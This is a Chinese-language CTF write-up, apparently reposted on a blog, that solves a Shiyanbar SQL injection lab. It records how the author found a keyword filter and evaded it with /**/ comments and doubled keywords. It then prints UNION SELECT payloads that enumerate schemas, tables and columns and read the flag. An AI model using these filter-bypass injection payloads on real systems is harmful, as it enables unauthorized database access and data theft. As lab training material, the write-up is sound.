實驗吧簡單的SQL注入1,簡單的SQL注入


接上面一篇博客。

實驗吧簡單的sql注入1

題目連接   http://ctf5.shiyanbar.com/423/web/

 

同樣,直接輸入 1加個但引號,結果下面有返回錯誤,              ,         有錯,所以估計這里應該是要閉合,字符行注入,但是這個標題,到底過濾了什么,目前我還不知道過濾了什么,所以先搞一下。。

輸入  1' and 1=1#  按理說應該是返回正常,結果返回了一個錯誤 

‘#‘  被過濾了,那好 還有其他姿勢,輸入   1’ and '1'='1

結果也錯,怎么回事? 換or試一試  用 1’ or '1'='1

出現所有數據,但是and不行,所以估計是and被過濾了  看看是不是被過濾了 雙寫一下  1' andand '1'='1

輸入兩個and 結果只出現一個and ,確定and是被過濾了,而且后面那個空格也過濾了

沒事,這里想到用/**/繞過過濾,用union

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

 

 說老實話我不知道為什么這里的database()用不起,大神指點一下.

 接下來爆表明

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

得到表名 flag

 

接下來爆字段名

1'/**/union/**/select/**/column_name/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag

但是不行 被報錯 

 

 把information_schema.coluinformation_schema.columnsmns 給我過濾了,這里用雙寫,但是雙寫發現也會被過濾,可以啊,那我把一部分寫在中間  

1'/**/union/**/select/**/column_name/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag

結果還是報錯,可能是起那面column_name也過濾了 ,這里把column_name也雙寫

1'/**/union/**/select/**/column_nacolumn_nameme/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag

這里出現字段名flag。

接下來直接 1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

 

拿到flag 

 

第二道題 用前兩句一樣可以拿到庫名和表明,只是第三句爆字段名的時候不用雙寫

1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag

 

也可以拿到表明和字段名  也是flag 和flag

 

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

 

也可以拿到答案

 關於簡單的sql注入3,我暫時還不會,fuzz測試還沒學會,過兩天會更新,一定會學會

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM